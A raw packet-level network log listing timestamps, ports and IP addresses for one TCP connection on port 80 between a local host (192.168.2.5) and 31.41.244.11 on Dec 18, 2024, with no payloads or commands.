Dec 18, 2024 19:08:52.587497950 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.587548971 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.589217901 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.589258909 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.589332104 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.589370966 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.591766119 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.592118025 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.592716932 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.594182014 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.594261885 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.596756935 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.597352982 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.600908041 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.601310968 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.601324081 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.601361990 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.601408005 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.602430105 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.602469921 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.602777004 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.602818966 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.604506969 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.604551077 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.604887962 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.604929924 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.607016087 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.607060909 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.607140064 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.607181072 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.609715939 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.609778881 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.609846115 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.609900951 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.612193108 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.612248898 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.612561941 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.612607956 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.614769936 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.614819050 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.615889072 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.615938902 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.617316008 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.617363930 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.617866039 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.617913961 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.619956970 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.620009899 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.620057106 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.620100021 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.622508049 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.622560978 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.622687101 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.622734070 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.625148058 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.625200033 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.625276089 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.625322104 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.627664089 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.627712965 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.628217936 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.628277063 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.630223036 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.630275965 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.630738974 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.630783081 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.632816076 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.632865906 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.633114100 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.633161068 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.635339022 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.635387897 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.635777950 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.635822058 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.637939930 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.637989998 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.638148069 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.638195992 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.640499115 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.640549898 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.640867949 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.640912056 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.643043041 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.643094063 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.643440008 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.643487930 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.645684958 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.645735025 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.646119118 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.646161079 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.648279905 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.648330927 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.648662090 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.648710012 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.650949955 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.651015043 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.651074886 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.651139021 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.653395891 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.653445959 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.653901100 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.653953075 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.655927896 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.655982971 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.656122923 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.656169891 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.658533096 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.658581018 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.658637047 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.658675909 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.661057949 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.661118031 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.661375046 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.661420107 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.663619041 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.663677931 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.663786888 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.663832903 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.666244030 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.666300058 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.666508913 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.666558981 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.668854952 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.668893099 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.668905020 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.668931007 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.671369076 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.671422005 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.671447992 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.671487093 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.673940897 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.673995018 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.674586058 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.674628973 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.676486969 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.676538944 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.676681042 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.676723957 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.679203987 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.679256916 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.679280043 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.679322958 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.681653023 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.681700945 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.683074951 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.683121920 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.684436083 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.684484959 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.684564114 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.684609890 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.686866999 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.686919928 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.687216043 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.687261105 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.689384937 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.689435005 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.689512968 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.689557076 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.691993952 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.692054033 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.692190886 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.692357063 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.694559097 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.694608927 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.694823980 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.694865942 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.697097063 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.697123051 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.697144032 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.697156906 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.699727058 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.699773073 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.699894905 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.700056076 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.702308893 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.702368021 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.702398062 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.702441931 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.704818964 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.704866886 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.704898119 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.704941988 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.707684994 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.707751989 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.707807064 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.707847118 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.709942102 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.710000992 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.710011959 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.710057020 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.712517023 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.712578058 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.712768078 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.712821007 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.715095997 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.715156078 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.715426922 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.715476990 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.717678070 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.717736006 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.717783928 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.717833042 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.720304966 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.720360041 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.720376968 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.720424891 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.722990036 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.723046064 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.723274946 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.723324060 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.725372076 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.725421906 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.725807905 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.725851059 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.728086948 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.728137016 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.728204966 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.728384972 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.730511904 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.730572939 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.731133938 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.731179953 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.733141899 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.733195066 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.733385086 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.733434916 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.735732079 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.735829115 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.735836029 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.735887051 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.738249063 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.738315105 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.738373995 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.738429070 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.740914106 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.740982056 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.741020918 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.741071939 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.743474960 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.743485928 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.743539095 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.746068954 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.746136904 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.746153116 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.746260881 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.749262094 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.749315977 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.749347925 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.749389887 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.751085997 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.751138926 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.751166105 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.751216888 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.753703117 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.753763914 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.753894091 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.753932953 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.756247044 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.756304026 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.756419897 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.756468058 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.758824110 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.758882999 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.758948088 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.758991957 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.761400938 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.761461973 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.761477947 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.761518955 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.764190912 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.764203072 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.764250994 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.766549110 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.766614914 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.766680002 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.766726971 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.769135952 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.769234896 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.769309044 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.771697998 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.771756887 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.772044897 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.772092104 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.774298906 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.774354935 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.774502993 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.774545908 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.776890039 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.776937962 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.776959896 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.776998043 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.779469967 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.779524088 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.779726028 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.779762030 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.781985044 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.782033920 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.782124043 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.782166958 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.784610987 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.784668922 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.784763098 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.784806967 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.787199974 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.787213087 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.787255049 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.789721966 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.789773941 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.789799929 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.789840937 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.792330027 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.792380095 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.792457104 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.792501926 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.794971943 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.795023918 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.795048952 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.795092106 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.797473907 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.797532082 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.797595978 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.797637939 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.800029993 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.800085068 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.800250053 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.800292969 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.802782059 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.802831888 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.802968025 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.803008080 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.805283070 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.805334091 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.805356979 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.805399895 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.807718039 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.807769060 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.807878017 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.807921886 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.810427904 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.810481071 CET	49739	80	192.168.2.5	31.41.244.11
